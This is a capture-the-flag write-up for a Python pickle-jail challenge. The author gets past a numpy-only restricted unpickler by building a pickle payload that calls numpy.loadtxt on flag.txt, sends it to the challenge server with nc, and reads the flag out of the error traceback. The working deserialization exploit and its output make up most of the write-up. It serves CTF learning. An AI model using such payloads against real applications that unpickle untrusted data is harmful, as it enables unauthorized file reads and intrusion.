๐ช Pickle Magic
๐ Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
๐ Challenge Statement
#!/usr/local/bin/python3
# modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
import pickle, numpy, io
from pickle import _getattribute
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == 'numpy' and '__' not in name:
return _getattribute(numpy, name)[0]
raise pickle.UnpicklingError('bad')
data = bytes.fromhex(input("(hex)> "))
print(RestrictedUnpickler(io.BytesIO(data)).load())
๐ฉ Getting the Flag
We have a small script that uses pickle
with a custom unpickler
Letโs analyze this script step by step:
- We are dealing with pickle and a custom
unpickler
. - For our object to be deserialized, it must be from the
numpy
library and cannot have__
in its name.
It's not too complicated; we just need to create a numpy
object and serialize it. But how do we read
a file?
After searching, we found that numpy
has a loadtxt
function, which allows us to read
a file. This means we can use it to read the flag.txt
file.
Here's the script to generate the serialized object:
class RCE:
def __reduce__(self):
return __import__("numpy").loadtxt, ("flag.txt",)
print(hex(int.from_bytes(__import__("pickle").dumps(RCE())))[2:])
We run this script, and it gives us our hex dump:
$ python3 RCE.py
80049524000000000000008c056e756d7079948c076c6f61647478749493948c08666c61672e74787494859452942e
Next, we connect to the server and send our hex dump:
$ python3 RCE.py | nc challs2.pyjail.club 7992
(hex)> 80049524000000000000008c056e756d7079948c076c6f61647478749493948c08666c61672e74787494859452942e
ValueError: could not convert string to float: 'jail{idk_about_mag1c_but_this_is_definitely_pickled}'
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "/app/run", line 12, in <module>
print(RestrictedUnpickler(io.BytesIO(data)).load())
File "/usr/local/lib/python3.10/site-packages/numpy/lib/_npyio_impl.py", line 1397, in loadtxt
arr = _read(fname, dtype=dtype, comment=comment, delimiter=delimiter,
File "/usr/local/lib/python3.10/site-packages/numpy/lib/_npyio_impl.py", line 1036, in _read
arr = _load_from_filelike(
ValueError: could not convert string 'jail{idk_about_mag1c_but_this_is_definitely_pickled}' to float64 at row 0, column 1.
๐ Support
๐ Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github